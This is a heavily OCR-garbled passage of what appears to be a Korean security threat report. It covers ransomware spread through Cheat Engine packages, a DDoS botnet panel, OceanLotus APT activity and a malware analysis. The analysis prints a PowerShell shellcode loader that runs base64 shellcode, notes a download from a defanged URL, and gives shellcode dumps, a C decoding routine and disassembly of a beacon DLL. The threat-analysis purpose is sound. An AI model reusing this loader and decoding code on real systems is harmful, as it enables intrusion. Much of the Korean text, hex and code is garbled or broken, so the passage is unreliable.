00000020 |3p 3D 3D 3D 3D 30x40byte;n 3D 3D 3D 3D
00000030 3D 3D 3D 3D 3D 3u s " 5u 3D 0D OA OD OA
00000040 |20 79 72 €0 67 €2 2 g o 20 32 30
00000050 §2C 20 32 30 30 32 2C 20 32 30 30 33 2C 20
00000060 30 34 2¢ 20 32 30 30 35 2¢ 20 32 30 30 36
00000070 32 30 30 37 2¢ 20 32 30 30 38 2C 20 32 30
00000080 g2C 20 32 30 31 30 2C 20 32 30 31 31 2C OD
00000090 30 31 32 2C 20 32 30 31 33 20 50 79 74 €8

843£.)3-, . 2£:1GK"
051118 _.10238uwd
.1:;¥8U0, .0Ds36°
x.28» .G<&.*LESD
&”R.&0.A3YPAyiCn
.fe.2.Ag0p"6 6G6
>éxZ. 148 FOr.1%1
¥ - ~a:ATa (09
eF.G.PEA[}*A".G
Uj28°\1.é«lvb,5?

000000A0 |20 53 6F 66 74 77 61 72 65 20 46 6F 75 6E Software Founda 00000020 |BC 3C 83 35 09 2C 99 20 68 86 C4 2A 61 6A 39 4<fS.,™ hth*ajon
00000080 §74 69 6F 6E 2E 20 20 41 6C 6C 20 72 69 67 tion. All right 00000080 QF7 64 21 SA 1D 60 6F 98 BA 7E F1 OE 1F 6A 47 +d!Z.'0"°~A..360
000000co |73 20 72 €5 73 65 72 76 65 64 2E OD OA OD s reserved.....C 0000000 J|EE C2 CS5 46 90 4C 0B OC 23 05 33 7A 62 AS AB 1AAF.L..#.32b¥x>
00000000 | 6F 70 79 72 €9 67 68 74 20 28 63 29 20 32 opyright (c) 200 00000000 2D 6F 19 66 DE 21 2B 17 11 31 0C D4 33 13 Fp -0.fB!+..1.63.8.
000000EQ §30 20 42 65 4F 70 65 6E 2E 63 6F 6D 2E 0D 0 BeCOpen.com...A 000000EQ JED 3E 68 53 E1 11 BF E6 56 3A 52 EA 1A 03 D7 i>hS&.:&ViRE. . @
000000F0 | 6C 6C 20 72 69 €Epfftadinlanscy 72 65 73 €5 11 rights reserv  000000F0 fos £3 £5 47 2F F5 93 CA 53 6F .84G/33 . kLi%ESe.
00000100 | 65 64 2E 0D 0A MFFFbyge 79 72 69 67 o Copyright 00000100 14 30 4B FA E1 8F 0x1FFFbyte» 7F 61 BO E1 .OKta. ft-Oh.a’ar
00000110 20 28 63 29 20 SUNOUNOUNCONIT 32 30 30 31 (c) 1995-2001 C 00000110 JIDF 95 OA SA 93 52 &/ o9 o2 rr L3 BC OA 48 27 Be.Z ReNdYAN.H'
00000120 | 6F 72 70 €F 72 61 74 69 6F 6E 20 €6 6F 72 orporation for N 00000120 |FC 1D 1B 43 SC OF 90 AF SD F1 98 AS 2E 90 16 4.0\ TIRN¥. %
00000130 |61 74 69 6F 6E 61 6C 20 52 65 73 65 61 72 ational Research 00000130 |6E €B 7F B7 37 CB 22 ES 2B 85 32 04 10 9A AE nk. -TE"é+.2..58%
00000140 |20 49 6E 63 74 69 61 74 63 76 65 73 2E OD Initiatives...A 00000140 [|3B 2C 49 EO DA 67 26 82 83 07 64 77 19 F4 77 2, T80GE, 5. dw. o
00000150 f6C 6C 20 72 69 67 68 74 73 20 72 €5 73 €5 11 rights reserv 00000150 [8C BC BE 3C 93 82 BA 4B 89 85 DC AS 11 78 98 e, eREpl L (",
00000160 | 65 64 2E OD OA OD OA 43 6F 70 79 72 69 67 ed.....Copyright 00000160 |DC 89 F9 59 B2 36 6E 99 28 78 78 A7 OD 85 22 O%RUY* 6n™ (xx5..."0
00000170 §20 28 63 29 20 31 39 39 31 2D 31 39 39 35 (¢) 1991-1995 S 00000170 §9A CO FE 2C FF 73 OB 4C 03 42 BD 16 D6 16 91 3Ap, ¥s.L.B%.0. 'x
00000180 |74 69 63 68 74 €9 6E 67 20 4D 61 74 68 65 tichting Mathema 00000180 a4 FS 9D AS A7 00 57 56 1C AC 62 99 1F 6B FS H3.¥6.WV.~1™. k30
00000190 |74 69 73 63 68 20 43 65 6E 74 72 75 €D 2E tisch Centrum... 00000190 02 €D 43 E1 B0 AR OB Be D3 A0 7B EE 9C OA 35 ..cas, 6 (fe.5R
00000120 |41 6C 6C 20 72 €9 67 68 74 73 20 72 65 73 All rights reser 00000120 03 6C 36 DD 24 08 BA DC FS FB 1A 9B 1B 57 5A .16¥S.°034, ».Wz)
00000180 §76 65 64 2E OD OA OD OR OD OA 4C 69 63 €5 000001B0 §17 CD F4 18 19 29 FC 25 Al BC C5 25 1A 73 BC .fé..)ﬂt;k}’ﬂ.s‘c)
000001C0 |65 20 69 6E €6 6F 72 6D 61 74 69 6F 6E OD 000001C0 |63 C4 F5 A9 6F A9 E4 61 12 23 AO CA OD 56 C8 1R3obaa.§ £.VES
00000100 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 00000200 [BC DB C3 F9 F7 8E 06 E2 OE BS DF C2 2A 8A 9A WOAb=Z.4.u8R35L
000001EO §2D 2D OD OA OD OA S3 65 65 20 74 68 65 20 000001EQ §52 3D 99 48 BC 83 80 D4 E2 31 FO 71 39 01 16 R-‘H‘dt(}éldqQ..i
000001F0 | 6C 65 20 22 4C 49 43 45 4E 53 45 22 20 66 le "LICENSE" for 00000170 93 1F 2D 16 71 84 4C 50 1A SA BA E9 CO 25 93 “.-.q.LP.Z°&As P
00000200 |20 69 6E 66 6F 72 6D 61 74 63 6F 6E 20 6F information on 00000200 |87 75 €8 68 59 3A 2D 43 90 E7 EF BF F7 BO 98 whhY:-C.gig+°"
00000210 §74 68 65 20 68 69 73 74 6F 72 79 20 6F 66 the history of t 00000210 QEE 7A 1F DE AF 88 53 7E 23 EE 60 29 S5F 65 AC 2.0 "S~#%" ) _e-.
00000220 |68 €9 73 OD OA 73 6F 66 74 77 61 72 65 2C his..software, t 00000220 |82 &C 35 48 F3 6E D@ 1B 53 96 F3 38 21 E6 E6 ,E5KénD. 548 Tam,
00000230 |65 72 6D 73 20 26 20 63 6F 6E 64 €9 74 69 erms & condition 00000230 A7 EB FB DA 23 67 DF 2C 3F 23 3A 22 D1 1B DF §EaU4gH, 24:"N.B»
00000240 §73 20 66 6F 72 20 75 73 61 67 65 2C 20 61 s for usage, and 00000240 §45 E9 C9 A2 FA DO 86 9D 3D AC 82 3E FE 60 BD Eéﬁefm‘l.-—‘,>b“§\

00000250 9 & Q 2 9 4p 2

[O2 11] =0} oIS 51E IRl E2 H W

a DISCLAIMER OF 00000250 \SEiloddnse 5 20 FE PR CRA3.08 22 22.22.02.42) ~A.DE)yiee.zgn0
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2f=sp} £ M2 Of2Het Z0| TIUHO| E0f “ayp1™7t 24| ElCh.

£ Cheat Engine, exe 3¥E SE == H

& CheatEngine, chm 2R4KE  ZMEE HTML
Echeatengine—iBBE,exe BEIKE =22 Tz ]

=l cheatengine-i386, exe, sig.crypl kB CHYP1 I
=|cheatengine-x&b_6d, exe ok S8 2= _|H

=) cheatengine-=06_64, exe. sig.crypl KB CRYP1 IF

= comnrmonmodulelist tet crypl B CRYP1 IFE
[T& 12] YSspP} 020X IR0 aypl EFEAP 22 25
st Asept EH E00I= 022t 20| ZNIE 2+%6h= QLIRS B2 txt I} html MR

stingsWyernxpWHIE ZWCheat Engine B

=

[chlanguages
yplugins

[ win 32

£ | 402C334EAIF2, bl
[Z] 1402CHI4E AFF2 tut
%] allochook-i386, dll
%] allochook-x86_64, dIl
E:EI:IEI:IEIhDDkEd.dII
%] ced3dShook,dI

] ced3d 10hookEd, dil
2] ced3d10hook, dll
I:EI2|3I:|H|'|EIIII|<E-'1.E|||
] ced3d 1 Thook, dll
[Mlceregreset exe

£ Cheat Engine,exe
2 CheatEngine, chm
£ cheatengine-i386,exe
cheatengine-i386 exe, sig, crypl
[ cheatengine-x86_64. exe
cheatengine-x96_64, exe, sig, crypl
commonrmodulelist tst crypl

13 13] ZH Rz IS WdolE 25
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ZH| 2+ QHLiE DfUO| 0I5 2 Of2Hi2t Z0] F04 &2 742! ID Sl LX[ol== UL 2 S0il= Of2Ht 22 S1FHO| EHA

AEA= 7|2E 3 OIRA| et SAE -alish 4 Gl= e E=H|, AEA= HRES THAIR S10j0F 225 & 4= Q.

All your files are encrypted.

ID:

Download and install tor-browser https:/ /torproject.org/projects/torbrowser.html.en

Write down the information to notebook (exercise book) and reboot the computer.

22 14] 20 2S 2= = LIERLH= SiH

ESTsoft



Part2. 5 82| 2F43C Ol

3. &

OJiHofl LI QRYTEE AARIOY ZRYoH= IAUISS HAHD AT 55t SHIA} Sl SRRl 2R AUBEIE 43517,
IS 0|2 TS 2751 WIYOIS] HSER! BEORED B 4 Uk T SEEIRE Crypdox 2t HITS 1 O]

B HHS 25517 A 2715 SIES 7152 BT TEst 512100, 25t L SAIIO| HOIE O X} HITSHS 1)
1 S57H W BoEr

2] sIS2 IR0l H21452 QIKGEL Be0 I IR0 Kt 71552 ERUEi0] MSRIOIESEELS A AR
OS5I SHESLF, U R0 A XITH 7SS HSGHTL L0 SIIIK LoiZ! HREO| HAIR0HS: A0l ITHoH 01S
NEROPY 2277|020 C42: O35t HRE) SS IS

2RO IIFHE QOB SO 4 87| 20| ABRPHIA HEEIS AIS5ITA 523 XI20| HelS Agiel 51

ML M= THE| T=T340] YH0[ES ZICZ RX[ok= 20| FAUEL SQott. 12|11 2210] O = Fofet

AO|EO= SR = HotK| = A SQ0IC
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°.|O| EO Ol'IT

areto] &2 TOP Ol
- U5 A2l Tl0|=2401 T

K7 IHAIZ0] gt 22| o= Qlol k= TohE 2 4 U= UE X | AAZ EZHIHLEH 7101=21210]
ORAZIIC. SIHEE| SO| AR= =210] 2 X2 == | = AIAIZ0H Tl S| HRPIEAR |28, d=55+2 &
AFEol H 2} A7 SO 2010 HESLIMBIAAZKIOA| EfRI2| E HINE Q&S + UES SIAC ‘DoiZ =
LHE AlRHEIC,

=rels Txet EPX.J"SEOI =et E”é*—’;ﬁﬂ?oi FYl= M0 2l ofE sS4 F32H, [0 28 F71AA 2t

ToiLt. O10f] ==/ [FAIERVE Seto] 4l (R, Tfsh2 S5 TSl

i
N
oln
0
)
|'>-
ELE
=
_\.‘_
rLHH'
;_9
|'>|

- THHERS Sl F8H, S 243t

K|t 1 25 ARME THR PG E S A[RES PRI M=H, FEHs 22 157} 100 2HE 012! 7[§2 =51 &,
100 2HY O}l 7|12 2017 & K| 242t FUSEHSE A=} ole= oI, 010 M2t 5832 =2 MAUYEE
L2 2Rl Q= 7|US2| LiFEE|A2I2| OftAE] A H /i, Fwiet 2d| X! BZSH| =X| S| Algi0] 01012

|
HIo|ct,

- I BO|XEL)| OIC= [YSISKRE 530}

fi

A
PU0| x5 f= 7H20| eSS0 0|0 =L AAANIE L2 oHZl0| FECIA| 2R4GH0] CHAOFO0| AZSICt.
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oE_oH 2kt =25 ALO|

S0 Chet AO|H S2

2 U SY2~A0]

22
it 2

=3 QB SHO|X|7 C=A

HSZ0f| = Zs} LA
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TR =t 20| Q.

o}, ATEL0] I = i PSS Fa= EHE AO[ENM 225 3E E2, 9
ULt
O] 2FHTE= HEE EZ0[QF HIO[ZHAZ, ARBKIQ| PIZt HHH|UHS, AWM AL EAME )2 XL HES 27 £

Ao HHE AR HIEZ QIS iz 2 UCL

THOVHRE SRIBH= 2 RIRIGEL, O[2fet QPNTEE ZHE 71712 448t L2 ZE 7|7 ]9k 7| R4 ZUHo| YR BIS
i,
RIS SH7HS0] CRC MBI SHIEICE 0] 717|S0f THt B2 A3k T2 S74S01) CHof Bl ik

Of CHOY ilk= AAE 2, SI=RI0 278,05 R AKE7 210 =t Z2EET.
APT29 #2 MO[H| 8Z| 252 0| 28, DDOS &4, 32(H1d 23| 2 TS 2y e S| AIZeITt.

RiskiQ 2| Digital Bait' 1= AT ZIEHI=7t Q4= 800 7H EAOIES ZARALY.
J1 21329 12 @MOIESO| CIX|E ZHI=0| EetE FdF =S BiEAT = | 2 U= A= Bioffict.

Of A 22 EAO|E= 1 1H0f| oF 7 M H2IE B0iS0l= A= Y=L
OfEH 7717} =45 ZLHOH| ZZSt=|H, 028} EH|7H =0 ARZAL 52| §l0] DDOS 32, LiE HEFE Q201 ALZEC.

Ol213H ZGE 717101 EFlE W 2= $2~$130 AOI0fA] SO0 ZHOHECE,
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(PRI U X IH)

AEE ZS0| SSAHOIM ZHEE E

ZE[ MH: 0] TE QRC AH

Ag: TS RC A7 EXHoIH, El0] 2822 XX et F

22 (RCA{H ZXtioX| 4=, &l U= HRHS0| P2PEHC=Z S

OIE S0, SpyEye % Zeus ZHI2 IR =2 HO| HLI & FI0| REE|QUCE

= L W2 F2|HES EF[6H DAt AZIM XIS == R,

Zeus O] HIEAR= 2008 HEE] 02 HZ| 45014 O1= TilsH 1300 Z7H2| AFEE ZSAA 19 S 0)E AL
ALO[H] HOt SIAH= TMIA| ISHZ A0 11 A0 Hl= A= FFSIC,

5 N2 == AFE 7717t ifE 24 340 = ZEEH, 0= 1 =01 18 Hoi| SHESIC,

ofK|Zh SIIHQI 242, Symantec 2| S-LE 0] [M=H 2015 H2| X4 = 110 2U2Z, 0F= 2014 190 20|l HlsH 42% &2
Zo|ct,

CHfet CERT, IT 22t M| H & Tl |-1S0| 228 AO|H HZS ioH ML T

2|2, Dorkbot, Simda, Dridex, Ramnit 23 S0 SHFI=IRACLE RR2 AlSolM REEN /S = UL

AMEXSZ QEHI0[HA ATEN, Yot S ZRHICZ FX[GHOF SHTY,

Eototdo= Opkl= MASS SUAZ THoh= HESAS ARZSHOF SIT.

documents( ng(S) HH)

SEWE HME F oEEL AR%

Bwrss B auze =8 556
PR NEEE RSy HEEE SSHMB)  CPUZR(. S4%3 M -
B .211 203.1.. $=0{(CH.. MSDN-SPECIAL Windows 7 4096 MB 2700 MHz 2015
|l 106.1... 3HZ0j(C.. KIM-PC Windows 7 3915 MB 2195 MHz P2Psite-20...
214 $H20{(0f... LG-PC Windows 7 4009 MB 3093 MHz  P2Psite-20... =
106.1.. 3HZ0{(CK.. KIM-PC Windows 7 3915 MB 2195 MHz 2015 1
149.2.. 3TH2O{(CH.. MSDN-SPECIAL Windows 7 8076 MB 3491 MHz 2015
7179  SHZO0{(CH... FPS Windows 7 3913 MB 2195 MHz 2015
23268 TH=0{(Cf.. HOME-PC Windows 7 8072 MB 3392 MHz 2015
132195 $H2O0f(Cf.. USER-SPECIAL Windows 7 2047 MB 3013 MHz 2015
221.38 3THZO0f(CH.. E=H-PC Windows 7 3071 MB 2926 MHz 2015
?3.58 $H=Z0{(CH.. HOME Windows NT 6099 MB 2993 MHz  P2Psite-20...
348 $HZ0{(CH... JONGINWON-PC Windows 7 3583 MB 2394 MHz 2015
l70.147 3+=20{(Cf... BBG-PC Windows 7 3072 MB 3000 MHz 2015
107.36 3H=0{(CH.. WINUSER-HAMB6... Windows 7 4030 MB 2660 MHz 2015
74186 3SH=O0{(CH.. USER Windows 7 4041 MB 3200 MHz 2015
21446 THFO{(CH.. JS-PC Windows 7 4035 MB 3698 MHz  P2Psite-20...
42138 $+=2O0{(C.. BLESSUGH Windows 7 8063 MB 3491 MHz 2015
L1341 3H=ZO0{(CH.. USER-PC Windows 7 10204 MB 3292 MHz 2015 -
0 | »
Jaekteo DDOS SYSTEM Menu
@EEHI OXPH2 @ VISTA §3 HIDE
L Jaekteo DDOS SYSTEM
OFNIHA OPERI 0 1030

S9:2018  EAMAE

[EX] http://securityaffairs.co/wordpress/4 7085/ breaking-news/ hacked-compute-botnets.html
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2. 3=

OceanlLotus apt Z=Z|2] 2|2 4 Al 24

2015A 58 2,360 4= Oceanlotus APT }_I'Oil Chet HME S7HoIRCH, slie Z%|0] S=2
TR IHSS SU= APT S22 2ol 25 7|12F2SS BB el & .

A, apt Z2[0] apt ZXIHS0 Cet 2= ZXIE oiZ0HK| =CtH, O1FA| apt XS0 Chet Y2E Solioks A2 HX
| 2= 360 St O apt ZASS FHolHM =721 F2, Apu=2| FaPt

MBS TS 23 == xx| Bl ©IX
/M0 iz S45 8RA| == o[t

o1o1=2 -

.l

BIME st X[ 2F 1 A7t K|S, R2l= 0745 Oceanlotus apt ZEIS FIZELT QUL EiZ SIH|0|E{0f] 245IH, 4 & 4
0%

20| LSIFCH, 2 23 E01= A 2K 01 22T,

I-O

Xiaowang 1215t 7 Z10j QUSHL Q= TRIOR, = I Sy ofeiot oi2fst 9l0] Q17| M0, 12| 0JIZS ST Ko
BIHElo] QiC,

201611 4 8 Of=, T4 O[O 419] 7 IO 2 2122 O[HIUS KO, LIS B 7[RIS0M THSt ZAIS SRACHS
HASH LHZO| MSIUQIC Zeis] L2} A42I5He AR} 20| OJIol= 2016 K= 413712 % LISZIAAEl ar O2k=
0] UL

QB RIA=XH xiaowang = HEIIAQ| rar 2AIE S, CH0fl= (2016 E AF7 12 & LIEZAHAIE) EX|exe 2f= 0129
Q= IU0| UL Xiaowang S OFF Azt 10| 222 31O M, xiaowang 2| PC= 20| EIUCE

T2 73S AR Oceanlotus Encryptor 2] ZHEHSHEHE BT 0
LiE2} iR RASICEL &AMig 2 LS E22 21101 ECL

http://www.freebuf.com/articles/system/69356.html
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ZINOZ HHO| iSo} 20| 29| CRC AfH{2} Hzet = MM SES SIFUUL: MHUIM £ E=S L= 2ot
AIBHA|Z

QQ EZTHOZ JESH gg.exe TE TS hxxp:/ /#* 2* #* = images/logo.png OflA png TS Li2{Ek=C}.

N :logo.png

LREE 2 2fRlo 2 0]242 AR Powershell 23 EE 2h= AE & 4= AUCH, £Q S22 LIYEI0 U= Shelcode E
ZEAIF HIE20M SUARIC,

$Dolt = @
function func_get_proc_address [J
Param ($var_module, $var_procedure) 4

$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.
4
return $var_unsafe_native_methods.GetMethod (' GetProcAddress’ ). Invoke ($null, @([System.Runtime
s
4
function func_get_delegate_type {4
Param (4
[Parametex (Position = 0, Mandatory = $True)] [Type(]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]s
Y
I
$var_type_builder = [AppDomain]::CurrentDomain. DefineDynamicAssembly ((New-Object Systen.Rcfla

$var_type_builder.DefineConstructor (' RTSpecialName, HideBySig, Public’, [System.Reflection.C
$var_type_builder.DefineMethod(’ Invoke’, ’Public, HideBySig, NewSlot, Virtual', $var_return_
¢
return $var_type_builder.CreateType()

14

/ /gﬂb;:ﬁ‘%ﬁ fshellcoded

[Byte[]]$var_code = [System.Convert]::FromBase64String (“/0gAAAAASydeix6DxgSLL jHAgBYEVos+Md+TPHT¢BYER

'
/FEPTFPS Bl shellcode X/ PATT(E], FHEBIER)shellcode (IS R RIS B HIATETIEP.

$var_buffer = [System. Runtime. InteropServices.Marshal]::GetDelegateForFunctionPointer ((func_get_proc_
[Systen. Runtime. InteropSexvices. Marshall::Copy ($var_code, 0, $var_buffer, $var_code.length) |

+
/18 EETE, LETRR A G)shellcode A D10
$var_hthread = [Systea.Runtine. InteropServices.Marshall::GetDelegateFoxrFunctionPointer ( (func_get_proc
[Systen. Runtime. IntexopSexvices. Marshal) : :GetDelegateForFunctionPointer ((func_get_proc_address kernel
‘@
/AAITIER
If ([IntPtx]::size -eq 8) {4

start-job | param($a) IEX $a | -RunAs32 -Argument $DoIt | wait-job | Receive-Jobi
Ik

else {4
IEX $DoIty

14
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=Sk
So

Var_code & basets = 2S5 S, A0 2J6H shellcode O[22 T

Offsat 0o 1
00D0ODODOD FC EB
00o0ODO16 31 DD
00D0ODD32 04 83
poODOD0D48 D4 FF
00D0O0D0GB4 29 CF
0oooDosD 24 82
00000096 72 4E
00000112 Al 4E
00000128 47 ES
00000144 BO 60
00000160 E4 31
00000176 C3 75
0ODOD192 A3 14
00000208 9A 46
00000224 F3 46
pODOD240 41 FB
DODOD256 90 AA
00000272 90 AA
00DODZ28BB EB 8BF
00000304 E3 9E
00000320 OB BF
00DOD336 ES BC
00000352 ES BE
00000368 ES BE
00000384 CD DE
00000400 CD DE
00000416 0B 1E
00000432 48 60
00000448 48 60
00000464 1C B4
00000480 1C B4
00000496 OC 1D
00000512 20 3E

i

3 4
00 00

5 6 7 g 9
0D EB 27 5SE BB
3E
FD
oc
0E
1A

10
1E

11
a3

04
FF
87
1A

31
64
78
iC

FF
95

39
DS
68
68
77
77
Ccs
Fe
El
DB

74
64
9E
iC

02
67
0B
De

EB
D7

EA
nc
B2
86 97 CA
77
77
91
98
B2
DB
BS
B4
A4
DE
CS

29

a7
54
72
75
1A
49
49
49
49
49
49

Al
bb
D1
c4
E7
89

41E
5D
oD
5B
75
58
58
72
B4
B4
c3
Ca
9E
51
ac
8E

97
18
11
55
1A
70
70
70
70
70
21

49 4E
7c
63
17
75
14
14
3E
Fa
FB

gF

97
70
7E
75
1A
49
49
49
49
49
18

BO
80
E7
A3
97
B9
93
8F
E8

Do
6B
A4
c2

co
DB
37
29
09
oo
0z
0z

4E
13
&6F
7F
7F
7E
TE
7E
7E

E3
o8
ES
EO

4E
BF
&6F
7F
7F
7E
7E
7E
7E

03
o8
ES
EOD

9E
51
9c
8E

OB
oo
0z
02

&6F
BF
7F
7F
7F
7E
7E
7E
7E
JE
7E
7E
7E
7E

cD
cD
sC
48
48
1C
[
oc
20

DE
DE
Bl
&0

1]
45
45
46
45
47
47
45
47

cD
DD
FC
48

CE
DE
Bl
60

55
45
45
46
45
47
47
45
47

7E
7E
7E
7E

B4
B4
1D
3E

7E
7E
7E
7E

1C
1C
oc
20

B4
B4
1D
3E

14
8B

E3
3D

22
77
CcD
Bl
FA
D&

2F
39
Cc1
49

29

02
oo
0z
02

45
47
46
46
47
47
45
47
47

7E
7E

e, ... 1E .
IVLE. VIS 1B1> 10l E
1L 199yt . 8a [VES
Ovrd 1 Dlidg=id) I =1
JI=0{lh.0. a3+ oM
SIh.LIh.LOIESE R
i hrilwl | Hwl i Hwl
i Hwl i Ml IRw i GOT N
GaATf)A.«|“ph.%.
* 0rfl.5. *cI™ACa.
&1.ubXaUl. 2uix0.
Aull.qul. qul, 1x«p
. I iepE . pIl./p
IF11@Xepl . =12 . 9p
GF ' 1Drepi>=ld Ap
AoBlk ApleblSslp
LEWIE Up.eAl»elp
ATIAR71®.).8.).
&.). E).6E, .81.N
A1.M&1.H.1.0.1.0
v..0.0.0.0.04-.0
AM.odl .0l . .Al..
Al..a0. .40, . Al..
Al..40. .40, . 1F..
ipE~IpU~IIU~TIE™
IPE~IPE~VEE™] .G~
. .G E~itE™iaF"
H F*H F*H F*H F~
H FYHIEpIE™. G~
e e i e
.'GY. 6% 6ML.E¥
..E¥..E¥..E¥.=G"
3@~ 3G~ 6™ @~

-

1

7t XME oG4 HIES| HHEE O0x34 204 0]22

O| LIO|HE =22t Bl

“pgoon: aaneeens

or
AE1? B3 ChA Ak

pen; MEZF ER DM FF FF FF
RQUO0; AORNREZF

P RErs
1 BERcall sun SEEETARAE, Siflest
sub_§ proc mear
pop
.
ada
xor
add
push

i CODE XREF: seg@an:
y [esi] i FREAReEE—
a
» lesi]
. ohx
s

Toc_ib: e M‘I[r iuh BeZ2y
Tk
wr
now
wor
add
sub
zor
enp
jz short loc_2C
i whart loe 16

 efleat HE

Toc_2C: : GODE XREF: sub_Be2

it

loc_2F: : CODE ¥WEF: Segoue:

call & » WS

i HFWcall sue 8EFEIBO M, BrElesi

loe_2ryp

LR DS T ol

SR Sl 4 GRS

: gA 7 ﬁ_}igz_hmwﬁmmm

YTHFEN

BES— SRR

t}%ﬁ S R s,

at§

LITEITE RG]
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HIO|E2| 0x34 LEAIRE] 253t AR0|H, 7125= TSt 2T,

struct CodeData

DWORD dwInitXorCode; // HIZHS =7|3}
DWORD dwlength; // RIE229| AHIAE Asst 59| &

Byte* bData;//ZE LHE

“Offset | 0 1 2 3 4 5 6 7 8 910 11 12 13 14 15

00000000 gg E8 00 00 00 00 EB 27 SE 8B 1E 83 C6 04 6B 2E é....e'"1.IA.1.

00000016 |31 DD 83 C6 04 56 88 3E ; DF 89 3¢ 31 FB 63 ch shelicode
00000032 04 83 ED 04 31 FF 39 FD 74 02 EB EA 5B FF E3 £ 39 151999t wh (Va0

00000048 IM FF FF FF 64 95 DS Di
00000064 |29 CF 3D 87 7B BA 68 OE
00000080 |24 82 68 1A 4C 86 68 1A 4C D6 97
00000096 |72 4E 27 68 72 4E 77 97 Al 4E 77 4

00000112 |Al 4E 77 97 Al 4E 77 97 49 4E 77 97 47 51 CD 99
00000128 |47 ES C4 54 66 5D CS 18 AB 7C 91 70 C2 OF Bl 00
00000144 ' BO 60 D6 72 D1 OD F6 11 BO 63 98 7E C4 43 FA 1B
e L s e

10UdgxU) Tl
w2 oM

111wl
|
GAATE)A.«
v o;—ﬁ o. cmxcu

FYTRCIT P

EE AR MR
~}¢n
icAEeTEE
TrEEHE
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=331 2 PEEMEts A 2o = ULE Ol F== =535 ffet Y2IS0|Ct.
void Decode()
{
DWORD dwfirst = 0;
DWORD dwSecond = 0;
memcpy((void*)&dwFirst, data+0x34, 4);
memcpy((void*)&dwSecond, data+0x38, 4);

DWORD dwLength = dwSecond * dwFirst;

DWORD dwXorCode = dwFirst;
unsigned char* szNewBuffer = new unsigned char[dwLength];
memset(szNewBuffer, 0, dwLength);
for (int i = 0; i{dwLength; i+=4)
{
DWORD dwBuffer = 0;
memcpy((void*)&dwBuffer, data+0x38+4+i, 4);
DWORD dwNewBuffer = 0;
dwNewBuffer = dwBuffer*dwXorCode;

dwXorCode = dwXorCode"dwNewBuffer;

memcpy(szNewBuffer+i, (void*)&dwNewBuffer, 4); //szNewBuffer 7 @ Z I £53E

S22 IIA2 dil 2=0|Ct,
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Offset _ 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 -
00000000 | 4D SA E8 00 00 00 00 SB 52 45 55 89 ES 81 C3 BC MZe....[REUIA.Ax [J
00000016 69 00 00 FF D3 89 C3 57 68 04 00 00 00 50 FF DO i..yOtAWh....PyD
00000032 68 FO BS A2 56 68 05 00 00 00 SO FF D3 00 00 00 h8u¢Vh....Py0...
00000048 00 00 00 00 00 00 00 00 00 00 00 00 E8 00 00 00 ............8...
00000064 OE 1F BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 68[ ..2.. .11,.LIITh
00000080 69 73 20 70 72 6F 67 72 61 6D 20 63 61 &ff 6E 6F, is program cafino
00000096 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20| t be run in DOS

00000112 6D 6F 64 65 2E OD OD OA 24 00 00 00 00 00 00 00| mode....S.......
00000128 6E 2D 70 6A 2A 4C 1E 39 2A 4C 1E 39 2A 4C 1E 39 n-pjeL.9°L.9%L.9
00000144 34 1E 9A 39 OD 4C 1E 39 34 1E 8B 39 39 4C 1E 39 4.19.L.94.199L.9
00000160 34 1E 9D 39 50 4C 1E 39 23 34 9D 39 B9 4C 1E 39 4..9PL.9#4.91L.9
00000176 OD BA 65 39 25 4C 1E 39 2A 4C IF 39 F8 4C 1E 39 .le9%L.9eL.%L.9
00000192 34 1E 97 39 37 4C 1E 39 34 1E 8C 39 2B 4C 1E 39 4.197L.94.09+L.9
00000208 34 1E BF 39 2B 4C 1E 39 52 69 63 68 2A 4C 1E 39 4..9+L.9RicheL.9
00000224 00 00 00 00 0O 00 00 00 50 45 00 00 4C 01 05 00 ........ PE. L.
00000240 17 S5 25 56 00 00 00 00 00 00 00 00 EO 00 02 21 .UXV........A..!
00000256 OB 01 09 00 00 10 02 00 00 DE 00 00 00 00 00 00 .........P......
00000272 ED FD 00 00 00 10 00 00 00 20 02 00 00 00 00 10 i¥..ccccv vvue..
00000288 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 ...eeeveveeennns
00000304 05 00 00 00 00 00 00 00 00 00 04 00 00 04 00 00 ...eeeenvnnnnn..
00000320 2A 54 03 00 02 00 40 01 00 00 10 00 00 10 00 00 *T....@.........
00000336 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 ...eeeeevvrrnn..
00000352 80 CO 02 00 55 00 00 00 54 AF 02 00 A0 00 00 00 #A..U...T .. ...
00000368 00 DO 03 00 B4 01 00 00 00 00 00 00 00 00 00 00 .D..’.u.vseennns

dilEME =& 8t 29| 2= 0[E2 beacon_dll.dll O|LC},

WIFSEER:VC 9.0

Stk & beacon_dll. dll |

el =kt sl
text _Reflectiveloader@d Secuwr3Z, dll
.rdata IFHLFAFI. DLL
. data DHSAPI. 411
.rsre #s2_32. 411
.reloc ¥ININET. d1l
ADVAFISZ. d11
KERNEL3Z. 411

o F——

dil 24 S =112 0x1002e040 2| H|O|E|S 0x69 H|0|E|2 =55} O, HO0|E{S] Z0|= 52 HI0|E0|C,
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text:10007530 ; BOOL _ stdcall Dlimai TANCE hi L, bwmp « LPUDID 1 )
AextI10007538 _D1iMaing12 prec near : CODE XMEF: __ DLIMuinCRIStartup«é74p
text 10087530 $ DIIMAInCRTStartup 70 p

ALext 10007538

text 110087530 hinstolL = dword ptr %

At 10007538 FdwReason * dword ptr  0CH

Stext 10007500 = dword ptr 1on

Jext 110007538

Jtext 1000530 push op

JLext 10007530 nov hp, esp

Jtext 10007530 now wax, [ebpriduiteason)

Jtext D 10ARTSHY dec eax

Stext 10007542 jz short loc_ 1000758

AexTIT00NTS AN Lot vax, 3

Aext 10007547 iz short loc 10007558

Jtext 110007549 oec eax

Aext: 10007500 dec vax

Jtext 10007540 inz short loc_ 100075%8C

Lext: 10007540 ~ov cax, [ebpes]

text:1008r%58 test cax, eax

ext 110007552 Jz short loc_1000758C 2 A0 100260400 2 A A 1S2 T YR Eaee
Stext 10087558 nov ecx, dword 1083772C T

JLext 110007550 ~ov feax]), eex .

Jtext:100W/55C jrp shart loc_100a758C

et I 1000755F

Stext 10007550

Xt 10007SSE Toc_ 1000755 ¢ ; CODE XREF: DLIMaln(x,x J)+ct)

Jtext i 1000755L xor cax, eax

textiieaarses

